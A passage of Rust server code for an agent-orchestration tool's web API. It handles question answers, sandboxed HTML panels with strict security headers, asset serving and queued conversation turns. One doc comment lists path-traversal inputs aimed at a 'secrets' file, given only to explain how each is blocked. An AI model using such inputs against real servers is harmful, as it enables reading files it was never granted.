5295            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5296        if !q.status.open() {
5297            // Answered from the terminal, or by another phone, in between the
5298            // list and the tap. The UI shows the recorded answer rather than an
5299            // error, so it needs the record, not just the status.
5300            return Err(ApiError::conflict(format!(
5301                "question {} is already {}",
5302                q.short(),
5303                q.status.as_str()
5304            )));
5305        }
5306        // `Question::answer` owns the rules - an unoffered choice, free text on
5307        // a multiple-choice question, an empty reply - so the route does not
5308        // restate them and cannot drift from the CLI's behaviour.
5309        let (q, ()) = ui
5310            .questions
5311            .update(&q.id, |r| r.answer(answer))
5312            .map_err(ApiError::bad_request_from)?;
5313        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5314        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5315    })
5316    .await
5317}
5318
5319/// The body of `POST /api/questions/{id}/say`.
5320#[derive(Debug, Deserialize)]
5321#[serde(deny_unknown_fields)]
5322struct NewSay {
5323    body: String,
5324}
5325
5326/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5327///
5328/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5329/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5330/// file, so there is no turn to serialize against and no
5331/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5332/// is a *different* process - the run parked behind `magi ask` - and picks
5333/// the reply up on its own poll of the very same file, same as an answer
5334/// does.
5335async fn question_say(
5336    State(ui): State<Arc<Ui>>,
5337    Path(id): Path<String>,
5338    body: std::result::Result<Json<NewSay>, JsonRejection>,
5339) -> ApiResult<Json<QuestionView>> {
5340    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5341    blocking(move || {
5342        let id = resolve_question(&ui.questions, &id)?;
5343        let q = ui
5344            .questions
5345            .get(&id)
5346            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5347        if !q.status.open() {
5348            // Same granularity as `question_answer`: answered or abandoned in
5349            // between the list and the tap is not this route's error to
5350            // explain any differently.
5351            return Err(ApiError::conflict(format!(
5352                "question {} is already {}",
5353                q.short(),
5354                q.status.as_str()
5355            )));
5356        }
5357        // `Question::say` owns the one rule that matters here - an empty
5358        // message tells the agent nothing - so the route does not restate it.
5359        let (q, ()) = ui
5360            .questions
5361            .update(&q.id, |r| r.say(body.body))
5362            .map_err(ApiError::bad_request_from)?;
5363        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5364        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5365    })
5366    .await
5367}
5368
5369/// Expand an id or short id to exactly one question id.
5370fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5371    if store.path_of(id).is_file() {
5372        return Ok(id.to_owned());
5373    }
5374    pick(
5375        store.list().into_iter().map(|q| q.id).collect(),
5376        id,
5377        "question",
5378    )
5379}
5380
5381/// `GET /api/questions/{id}/panel`.
5382///
5383/// The panel an agent wrote for this question, as `text/html` under
5384/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5385/// A question without one is a 404 rather than an empty page: the client
5386/// preflights this route with `HEAD` and must be able to tell "no panel" from
5387/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5388/// parent document so it cannot tell the difference by looking.
5389///
5390/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5391/// sanitises or minifies it - a sanitiser is a list of things someone thought
5392/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5393/// is the direction that stays safe when an agent writes markup nobody
5394/// predicted.
5395async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5396    blocking(move || {
5397        let id = resolve_question(&ui.questions, &id)?;
5398        let Some(html) = ui.questions.panel_html(&id) else {
5399            return Err(ApiError::not_found(format!("question {id} has no panel")));
5400        };
5401        Ok(panel_response(
5402            "text/html; charset=utf-8",
5403            false,
5404            html.into_bytes(),
5405        ))
5406    })
5407    .await
5408}
5409
5410/// `GET /api/questions/{id}/asset/{name}`.
5411///
5412/// One file from the question's own panel directory, so a panel can show a
5413/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5414/// having to allow anything off this machine.
5415///
5416/// This is the only route in the server where a client names a file, so it is
5417/// the only one with a traversal surface, and the name is checked by
5418/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5419/// what is worth being explicit about, because the answer is not "all of it in
5420/// one place":
5421///
5422/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5423///   the raw request path and `{name}` spans exactly one segment, so a real
5424///   slash makes the request too long for the route and the router answers 404.
5425/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5426///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5427///   `..\secrets` respectively, which look like plain filenames to the router.
5428///   The validator refuses them here - both for the literal `..` and because
5429///   `/` and `\` are not in the permitted character set - and answers 400.
5430/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5431///   the platform's path API is not, and it is refused here for the same
5432///   reason: NUL is not a permitted character.
5433/// * [`Questions::panel_asset`] validates again on read, so the check is not
5434///   load-bearing in only one place. This route's own check exists so the
5435///   failure is a 400 that says which name was wrong, rather than a store error
5436///   the operator has to interpret.
5437async fn question_asset(
5438    State(ui): State<Arc<Ui>>,
5439    Path((id, name)): Path<(String, String)>,
5440) -> ApiResult<Response> {
5441    // Before any filesystem work and before any path is built: a name this
5442    // server will not serve should not become a `PathBuf` at all.
5443    if !crate::ask::valid_asset_name(&name) {
5444        return Err(ApiError::bad_request(format!(
5445            "`{name}` is not a usable asset name"
5446        )));
5447    }
5448    blocking(move || {
5449        let id = resolve_question(&ui.questions, &id)?;
5450        let asset = ui
5451            .questions
5452            .panel_asset(&id, &name)
5453            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5454        let Some(bytes) = asset else {
5455            return Err(ApiError::not_found(format!(
5456                "question {id} has no asset `{name}`"
5457            )));
5458        };
5459        Ok(panel_response(
5460            asset_content_type(&name),
5461            is_svg(&name),
5462            bytes,
5463        ))
5464    })
5465    .await
5466}
5467
5468/// Content type for a panel asset, from a closed whitelist.
5469///
5470/// A whitelist with an `application/octet-stream` fallback rather than a
5471/// guess, because the one answer that must never come out of here is
5472/// `text/html`. An agent that writes `notes.html` into its panel directory and
5473/// links it would otherwise get its own markup rendered at the top level of the
5474/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5475/// magi's origin - which is precisely the thing the panel design exists to
5476/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5477///
5478/// `nosniff` accompanies this on every response, so a browser cannot decide it
5479/// knows better than the type we sent.
5480fn asset_content_type(name: &str) -> &'static str {
5481    match extension(name).as_deref() {
5482        Some("png") => "image/png",
5483        Some("jpg" | "jpeg") => "image/jpeg",
5484        Some("gif") => "image/gif",
5485        Some("webp") => "image/webp",
5486        Some("svg") => "image/svg+xml",
5487        Some("css") => "text/css; charset=utf-8",
5488        Some("txt") => "text/plain; charset=utf-8",
5489        _ => "application/octet-stream",
5490    }
5491}
5492
5493/// Is this an SVG, and therefore a file that must never be opened at the top
5494/// level?
5495fn is_svg(name: &str) -> bool {
5496    extension(name).as_deref() == Some("svg")
5497}
5498
5499/// Lowercased extension, or `None` for a name without one.
5500fn extension(name: &str) -> Option<String> {
5501    name.rsplit_once('.')
5502        .map(|(_, ext)| ext.to_ascii_lowercase())
5503}
5504
5505/// Every panel response, with the four headers that make it safe and, for an
5506/// SVG, a fifth.
5507///
5508/// One function rather than a header list per handler, because a panel route
5509/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5510/// model gone, silently, on one of two routes. Adding a third panel route later
5511/// means calling this, and there is nowhere else to build a panel response.
5512///
5513/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5514/// as an `<img src>` inside the panel that script cannot run - but the asset
5515/// URL is also a plain URL an operator can be talked into opening in a tab,
5516/// where it is a document on magi's own origin. `Content-Disposition:
5517/// attachment` makes the browser download it instead of rendering it, which
5518/// closes that door without taking away the ability to draw a diff. Raster
5519/// images have no such execution surface and are left inline, so tapping a
5520/// screenshot still shows it.
5521fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5522    let mut res = (
5523        [
5524            (header::CONTENT_TYPE, content_type),
5525            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5526            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5527            (header::REFERRER_POLICY, "no-referrer"),
5528        ],
5529        body,
5530    )
5531        .into_response();
5532    if download {
5533        res.headers_mut().insert(
5534            header::CONTENT_DISPOSITION,
5535            HeaderValue::from_static("attachment"),
5536        );
5537    }
5538    res
5539}
5540
5541/// A talk as the phone reads it.
5542///
5543/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5544/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5545/// parses markdown itself - and the process-local `thinking` hint.
5546#[derive(Debug, Serialize)]
5547struct TalkView {
5548    #[serde(flatten)]
5549    talk: Talk,
5550    turn_bodies_md: Vec<Vec<md::Node>>,
5551    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5552    /// this server process.
5553    ///
5554    /// This is deliberately not durable: another server process cannot see
5555    /// it, and a restarted server must not claim an old turn is live. It is a
5556    /// progress hint rather than proof a reply landed; the transcript remains
5557    /// the source of truth for that.
5558    thinking: bool,
5559    /// Context-window usage, derived per request - see
5560    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5561    /// and each mutation) so the phone needs no extra call or polling.
5562    context: talk::ContextUsage,
5563}
5564
5565impl TalkView {
5566    /// Reads the talk's repository config itself; a config that cannot be
5567    /// read leaves the window unknown but never fails the conversation.
5568    fn new(talk: Talk, thinking: bool) -> Self {
5569        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5570        Self::with_config(talk, thinking, cfg.as_ref())
5571    }
5572
5573    /// As [`Self::new`], with the config already in hand (the list reads one
5574    /// per repository, not one per conversation).
5575    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5576        let context = talk::context_usage(&talk, cfg);
5577        let turn_bodies_md = talk
5578            .turns
5579            .iter()
5580            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5581            .collect();
5582        Self {
5583            turn_bodies_md,
5584            thinking,
5585            context,
5586            talk,
5587        }
5588    }
5589}
5590
5591/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
5592/// conversation has filed, so the phone can follow one from inside the
5593/// conversation that asked for it rather than hunting the Queue for a task id
5594/// it may not remember.
5595#[derive(Debug, Serialize)]
5596struct TalkDetailView {
5597    #[serde(flatten)]
5598    view: TalkView,
5599    tasks: Vec<TaskView>,
5600    /// The agents this talk's repository can switch to; empty when its
5601    /// configuration cannot be read, which must not fail the whole detail.
5602    roster: Vec<RosterEntry>,
5603}
5604
5605/// One roster agent as the talk's agent selector shows it.
5606#[derive(Debug, Serialize)]
5607struct RosterEntry {
5608    id: String,
5609    kind: AgentKind,
5610    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
5611    runnable: bool,
5612}
5613
5614/// `GET /api/talks`.
5615///
5616/// Every conversation, open ones first and newest first - [`Talks::list`]'s
5617/// own order.
5618async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5619    blocking(move || {
5620        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5621        Ok(Json(
5622            ui.talks
5623                .list()
5624                .into_iter()
5625                .map(|talk| {
5626                    let thinking = ui.is_thinking(&talk.id);
5627                    let cfg = configs
5628                        .entry(talk.repo.clone())
5629                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5630                    TalkView::with_config(talk, thinking, cfg.as_ref())
5631                })
5632                .collect(),
5633        ))
5634    })
5635    .await
5636}
5637
5638/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
5639/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
5640/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
5641/// end still opens a talk against an older binary.
5642#[derive(Debug, Default, Deserialize)]
5643#[serde(default)]
5644struct NewTalk {
5645    agent: Option<String>,
5646    repo: Option<PathBuf>,
5647}
5648
5649/// `POST /api/talks` - open a conversation. Takes no agent turn: see
5650/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
5651async fn talk_post(
5652    State(ui): State<Arc<Ui>>,
5653    body: std::result::Result<Json<NewTalk>, JsonRejection>,
5654) -> ApiResult<impl IntoResponse> {
5655    // An absent body, or an empty one, is the normal way to open a talk - see
5656    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
5657    // rather than refused.
5658    let body = match body {
5659        Ok(Json(body)) => body,
5660        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5661        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5662    };
5663    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5664    let cfg = config_for(&repo).await?;
5665    let view = blocking(move || {
5666        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5667        let thinking = ui.is_thinking(&talk.id);
5668        Ok(TalkView::new(talk, thinking))
5669    })
5670    .await?;
5671    Ok((StatusCode::CREATED, Json(view)))
5672}
5673
5674/// `GET /api/talks/{id}`.
5675async fn talk_detail(
5676    State(ui): State<Arc<Ui>>,
5677    Path(id): Path<String>,
5678) -> ApiResult<Json<TalkDetailView>> {
5679    blocking(move || {
5680        let id = resolve_talk(&ui.talks, &id)?;
5681        let talk = ui.talks.get(&id)?;
5682        let thinking = ui.is_thinking(&talk.id);
5683        let tasks = talk::tasks_of(&ui.queue, &talk.id)
5684            .into_iter()
5685            .map(TaskView::from)
5686            .collect();
5687        let roster = Config::discover(&talk.repo, None)
5688            .map(|(cfg, _)| {
5689                cfg.agents
5690                    .iter()
5691                    .map(|a| RosterEntry {
5692                        id: a.id.clone(),
5693                        kind: a.kind,
5694                        runnable: agent::installed(a),
5695                    })
5696                    .collect()
5697            })
5698            .unwrap_or_default();
5699        Ok(Json(TalkDetailView {
5700            view: TalkView::new(talk, thinking),
5701            tasks,
5702            roster,
5703        }))
5704    })
5705    .await
5706}
5707
5708/// The body of `POST /api/talks/{id}/say`.
5709///
5710/// `attachments` names ids `POST /api/talks/{id}/attachments` already
5711/// returned - never bytes of its own - so a turn with no images just omits
5712/// the field, which is what an older front end still does.
5713#[derive(Debug, Default, Deserialize)]
5714#[serde(default, deny_unknown_fields)]
5715struct NewTalkTurn {
5716    text: String,
5717    attachments: Vec<String>,
5718}
5719
5720#[derive(Debug, Deserialize)]
5721#[serde(deny_unknown_fields)]
5722struct EditTalkPending {
5723    text: String,
5724    expected_text: String,
5725    expected_attachments: Vec<String>,
5726}
5727
5728#[derive(Debug, Deserialize)]
5729#[serde(deny_unknown_fields)]
5730struct ClearTalkPending {
5731    expected_text: String,
5732    expected_attachments: Vec<String>,
5733}
5734
5735/// `POST /api/talks/{id}/say` - one turn of the conversation.
5736///
5737/// Not filesystem work, and therefore not routed through [`blocking`]: this
5738/// route spawns an agent CLI and a turn here can run for the whole of
5739/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
5740/// research turn is expected to run commands rather than answer from what it
5741/// already knows. Holding an HTTP connection open that long is not a thing
5742/// to ask a phone to do; the operator's message is recorded and answered for
5743/// immediately, and the reply lands in the background, discovered through
5744/// the change stream's `talks_rev` the same way every other update on this
5745/// surface is.
5746async fn talk_say(
5747    State(ui): State<Arc<Ui>>,
5748    Path(id): Path<String>,
5749    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5750) -> ApiResult<(StatusCode, Json<TalkView>)> {
5751    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5752    if body.text.trim().is_empty() && body.attachments.is_empty() {
5753        return Err(ApiError::bad_request("say something"));
5754    }
5755
5756    let id = {
5757        let ui = Arc::clone(&ui);
5758        let asked = id.clone();
5759        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5760    };
5761    // A closed Talk never accepts a new immediate or queued turn. Check this
5762    // before claiming a slot so its ordinary domain refusal is a 409, not an
5763    // incidental failure from the later record/queue write.
5764    {
5765        let ui = Arc::clone(&ui);
5766        let id = id.clone();
5767        blocking(move || {
5768            let talk = ui.talks.get(&id)?;
5769            if !talk.status.open() {
5770                return Err(ApiError::conflict(format!(
5771                    "talk {} is {} and takes no more turns",
5772                    talk.short(),
5773                    talk.status.as_str()
5774                )));
5775            }
5776            Ok(())
5777        })
5778        .await?;
5779    }
5780
5781    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
5782    // actually stores, before anything is written - an unknown id is a 4xx
5783    // that names it rather than a turn (or a queued draft) silently missing
5784    // an image.
5785    let attachments = {
5786        let ui = Arc::clone(&ui);
5787        let id = id.clone();
5788        let ids = body.attachments.clone();
5789        blocking(move || {
5790            ids.into_iter()
5791                .map(|att_id| {
5792                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5793                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5794                    })
5795                })
5796                .collect::<ApiResult<Vec<talk::Attachment>>>()
5797        })
5798        .await?
5799    };
5800
5801    // Pending recovery and a new immediate turn are decided under the same
5802    // claim lock. Without that one critical section, a second `/say` can see
5803    // the first request's claim as "busy" and append itself to the recovered
5804    // draft before the first request rejects it.
5805    let start = {
5806        let ui = Arc::clone(&ui);
5807        let id = id.clone();
5808        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5809    };
5810    let turn_guard = match start {
5811        TalkTurnStart::Claimed(turn_guard) => turn_guard,
5812        TalkTurnStart::Pending => {
5813            return Err(ApiError::conflict(
5814                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5815            ));
5816        }
5817        TalkTurnStart::Busy => {
5818            // A turn is already running: queue rather than refuse. See
5819            // `Ui::begin_talk_turn` and `talk::queue`.
5820            //
5821            // The queue write and the drain it may owe live inside the task
5822            // `tokio::spawn` hands to the runtime, for the same reason the
5823            // immediate path below puts `record` there: a dropped handler
5824            // future must not be able to land between a durable write and
5825            // the task that answers it. `blocking` runs its closure on
5826            // `spawn_blocking`, which finishes whether or not anyone is left
5827            // to receive its result - so a disconnect at the `.await` below
5828            // would otherwise leave the draft persisted and the reclaimed
5829            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
5830            // ever started and the queued text stranded until some later
5831            // `say` happened to pick it up. The caller's 202 travels back
5832            // over a `oneshot`, sent the moment the write lands.
5833            let (tx, rx) = tokio::sync::oneshot::channel();
5834            tokio::spawn({
5835                let ui = Arc::clone(&ui);
5836                let id = id.clone();
5837                let said = body.text.clone();
5838                async move {
5839                    let written = blocking({
5840                        let ui = Arc::clone(&ui);
5841                        let id = id.clone();
5842                        move || {
5843                            let mut talk = ui.talks.get(&id)?;
5844                            // A test-only stop point, right before the write
5845                            // an interleaving test needs to pin - see
5846                            // `BusyQueueGate`. `None` in every real server:
5847                            // the field only exists under `#[cfg(test)]`.
5848                            #[cfg(test)]
5849                            if let Some(gate) = ui
5850                                .busy_queue_gate
5851                                .lock()
5852                                .unwrap_or_else(PoisonError::into_inner)
5853                                .take()
5854                            {
5855                                let _ = gate.reached.send(());
5856                                let _ = gate.release.recv();
5857                            }
5858                            if let Err(error) =
5859                                talk::queue(&mut talk, &ui.talks, &said, attachments)
5860                            {
5861                                if let Ok(fresh) = ui.talks.get(&id) {
5862                                    if !fresh.status.open() {
5863                                        return Err(ApiError::conflict(format!(
5864                                            "talk {} is {} and takes no more turns",
5865                                            fresh.short(),
5866                                            fresh.status.as_str()
5867                                        )));
5868                                    }
5869                                }
5870                                return Err(ApiError::from(error));
5871                            }
5872                            // The turn that looked busy a moment ago can have
5873                            // finished, found nothing to drain and given up the
5874                            // slot in the gap between that check and this write
5875                            // landing - see `drain_loop`'s own doc for the other
5876                            // half of why that gap would otherwise be able to
5877                            // open at all. Reclaiming the slot here, rather than
5878                            // trusting that whoever held it is still watching, is
5879                            // what stops the text just queued from being stranded
5880                            // until an unrelated future `say` happens to drain
5881                            // it.
5882                            let claim = match ui.begin_queued_talk_turn(&id)? {
5883                                Some(turn_guard) => {
5884                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
5885                                    Some((talk.clone(), cfg, turn_guard))
5886                                }
5887                                None => None,
5888                            };
5889                            let thinking = ui.is_thinking(&id);
5890                            Ok((TalkView::new(talk, thinking), claim))
5891                        }
5892                    })
5893                    .await;
5894                    let (view, reclaimed) = match written {
5895                        Ok(pair) => pair,
5896                        Err(e) => {
5897                            // Nobody is listening if the handler's own future
5898                            // was already dropped - that is fine, nothing was
5899                            // persisted and there is no response left to carry
5900                            // this error to.
5901                            let _ = tx.send(Err(e));
5902                            return;
5903                        }
5904                    };
5905                    // If this fails, the caller is gone; the drain below still
5906                    // runs exactly as it would have for a caller that stayed.
5907                    let _ = tx.send(Ok(view));
5908                    if let Some((talk, cfg, turn_guard)) = reclaimed {
5909                        let talks = ui.talks.clone();
5910                        drain_loop(talk, talks, cfg, id, turn_guard).await;
5911                    }
5912                }
5913            });
5914            let view = rx
5915                .await
5916                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5917            return Ok((StatusCode::ACCEPTED, Json(view)));
5918        }
5919    };
5920
5921    let (talk, cfg) = {
5922        let ui = Arc::clone(&ui);
5923        let id = id.clone();
5924        blocking(move || {
5925            let talk = ui.talks.get(&id)?;
5926            let (cfg, _) = Config::discover(&talk.repo, None)?;
5927            Ok((talk, cfg))
5928        })
5929        .await?
5930    };
5931
5932    let talks = ui.talks.clone();
5933    // `record` runs *inside* the spawned task, rather than in this handler
5934    // followed by a separate `tokio::spawn` for `respond` - axum drops this
5935    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
5936    // doc), and that drop can land at any `.await` this function makes,
5937    // including one that has already produced its result but not yet
5938    // resumed. A message could end up recorded on disk with the handler
5939    // future gone before it ever reached the `tokio::spawn` that would have
5940    // started the reply. `tokio::spawn` itself is a plain, synchronous call
5941    // that hands the whole future to the runtime as one unit - once made, no
5942    // later drop of *this* handler's own future (that call's return value is
5943    // never held onto here) can reach back in and stop it, so record and the
5944    // hand-off to `respond` are unconditionally atomic from the client's
5945    // point of view. The immediate response this handler owes the caller
5946    // travels back over a `oneshot`, sent the moment `record` succeeds.
5947    let (tx, rx) = tokio::sync::oneshot::channel();
5948    tokio::spawn({
5949        let ui = Arc::clone(&ui);
5950        let talks = talks.clone();
5951        let id = id.clone();
5952        let said = body.text.clone();
5953        let mut talk = talk.clone();
5954        async move {
5955            let recorded = blocking({
5956                let talks = talks.clone();
5957                move || {
5958                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5959                        if let Ok(fresh) = talks.get(&talk.id) {
5960                            if !fresh.status.open() {
5961                                return Err(ApiError::conflict(format!(
5962                                    "talk {} is {} and takes no more turns",
5963                                    fresh.short(),
5964                                    fresh.status.as_str()
5965                                )));
5966                            }
5967                        }
5968                        return Err(ApiError::from(error));
5969                    }
5970                    // `record` mutates `talk` in place to the freshly persisted
5971                    // state (status, pending, and the just-appended operator
5972                    // turn), so returning it here is equivalent to re-reading it
5973                    // from disk - without the extra round trip a re-read would
5974                    // need.
5975                    Ok((said.trim().to_owned(), talk))
5976                }
5977            })
5978            .await;
5979            let (text, mut talk) = match recorded {
5980                Ok(pair) => pair,
5981                Err(e) => {
5982                    // Nobody is listening if the handler's own future was
5983                    // already dropped - that is fine, there is no response
5984                    // left to carry this error to and nothing was persisted.
5985                    let _ = tx.send(Err(e));
5986                    return;
5987                }
5988            };
5989            let queued = talk.clone();
5990            let thinking = ui.is_thinking(&id);
5991            // If this fails, the caller is gone; the turn still runs below
5992            // exactly as it would have for a caller that stayed connected.
5993            let _ = tx.send(Ok((queued, thinking)));
5994
5995            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5996                // `respond` records the failure in the transcript itself,
5997                // which is what the phone reads; this line is for the
5998                // operator's terminal.
5999                tracing::warn!("talk {id} turn failed: {e:#}");
6000            }
6001            // Anything `talk::queue` added while the turn above was running
6002            // is still owed an answer - see `drain_loop`.
6003            drain_loop(talk, talks, cfg, id, turn_guard).await;
6004        }
6005    });
6006
6007    let (queued, thinking) = rx
6008        .await
6009        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6010
6011    // 202: the operator's message is recorded and a turn is running.
6012    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6013}
6014
6015/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6016/// changing it. The turn guard is the same per-talk ownership `talk_say`
6017/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6018async fn talk_pending_resume(
6019    State(ui): State<Arc<Ui>>,
6020    Path(id): Path<String>,
6021) -> ApiResult<(StatusCode, Json<TalkView>)> {
6022    let id = {
6023        let ui = Arc::clone(&ui);
6024        let asked = id.clone();
6025        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6026    };
6027    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6028        return Err(ApiError::conflict(
6029            "a talk turn is already running; the queued draft will be handled by it",
6030        ));
6031    };
6032    let (talk, cfg) = {
6033        let ui = Arc::clone(&ui);
6034        let id = id.clone();
6035        blocking(move || {
6036            let talk = ui.talks.get(&id)?;
6037            if !talk.status.open() {
6038                return Err(ApiError::conflict(format!(
6039                    "talk {} is {} and takes no more turns",
6040                    talk.short(),
6041                    talk.status.as_str()
6042                )));
6043            }
6044            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6045                return Err(ApiError::conflict("there is no queued draft to resume"));
6046            }
6047            let (cfg, _) = Config::discover(&talk.repo, None)?;
6048            Ok((talk, cfg))
6049        })
6050        .await?
6051    };
6052    let view = TalkView::new(talk.clone(), true);
6053    let talks = ui.talks.clone();
6054    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6055    Ok((StatusCode::ACCEPTED, Json(view)))
6056}
6057
6058/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6059/// releasing `turn` only once a check finds it truly empty. Shared by both
6060/// callers that can end up owning a talk's turn slot with something already
6061/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6062/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6063/// holder just gave up - see the comment at that call site.
6064///
6065/// The release is folded into the final generation check under `turn`'s own
6066/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6067/// free". Before its blocking `talk::drain`, this loop observes the queued
6068/// generation. A `say` that sees the turn busy writes its draft, then advances
6069/// that generation. Thus, if it lands while the drain is in flight, the final
6070/// check observes the advance and drains again; otherwise it releases the
6071/// claim while holding the same lock. This keeps the release/arrival handoff
6072/// atomic without holding the global claim mutex across filesystem I/O.
6073async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6074    let live_set = Arc::clone(&turn.turns);
6075    // `Option` rather than binding `turn` directly to a `_turn` that lives
6076    // for the whole function: releasing it has to happen by calling
6077    // `TalkTurnGuard::release` from inside the locked branch below, which
6078    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6079    // remove the id - correctly, if this loop is ever left some other way -
6080    // but doing it there misses the lock this loop is already holding, which
6081    // is the exact gap `release` exists to close.
6082    let mut turn = Some(turn);
6083    loop {
6084        // `talk::drain` takes the store lock and can write/rename the talk
6085        // file. Keep the turn mutex out of that synchronous work: it protects
6086        // every talk's in-memory claim, not this talk's disk operation.
6087        let observed = live_set
6088            .lock()
6089            .unwrap_or_else(PoisonError::into_inner)
6090            .queued
6091            .get(&id)
6092            .copied()
6093            .unwrap_or(0);
6094        let drained = blocking({
6095            let talks = talks.clone();
6096            move || {
6097                let result = talk::drain(&mut talk, &talks);
6098                Ok((talk, result))
6099            }
6100        })
6101        .await;
6102        let (next_talk, result) = match drained {
6103            Ok(drained) => drained,
6104            Err(e) => {
6105                tracing::warn!(
6106                    status = %e.status,
6107                    message = %e.message,
6108                    "talk {id} could not start queued-text drain"
6109                );
6110                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6111                turn.take()
6112                    .expect("held for the whole loop until released here")
6113                    .release(&mut live);
6114                break;
6115            }
6116        };
6117        talk = next_talk;
6118        let drained = match result {
6119            Ok(Some(drained)) => drained,
6120            Ok(None) => {
6121                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6122                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6123                    continue;
6124                }
6125                turn.take()
6126                    .expect("held for the whole loop until released here")
6127                    .release(&mut live);
6128                break;
6129            }
6130            Err(e) => {
6131                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6132                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6133                turn.take()
6134                    .expect("held for the whole loop until released here")
6135                    .release(&mut live);
6136                break;
6137            }
6138        };
6139        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6140            tracing::warn!("talk {id} turn failed: {e:#}");
6141        }
6142    }
6143}
6144
6145/// Clear a queued draft only if it remains exactly the one the caller saw.
6146async fn talk_pending_clear(
6147    State(ui): State<Arc<Ui>>,
6148    Path(id): Path<String>,
6149    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6150) -> ApiResult<Json<TalkView>> {
6151    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6152    blocking(move || {
6153        let id = resolve_talk(&ui.talks, &id)?;
6154        let mut talk = ui.talks.get(&id)?;
6155        if !talk.status.open() {
6156            return Err(ApiError::conflict(format!(
6157                "talk {} is {} and takes no more turns",
6158                talk.short(),
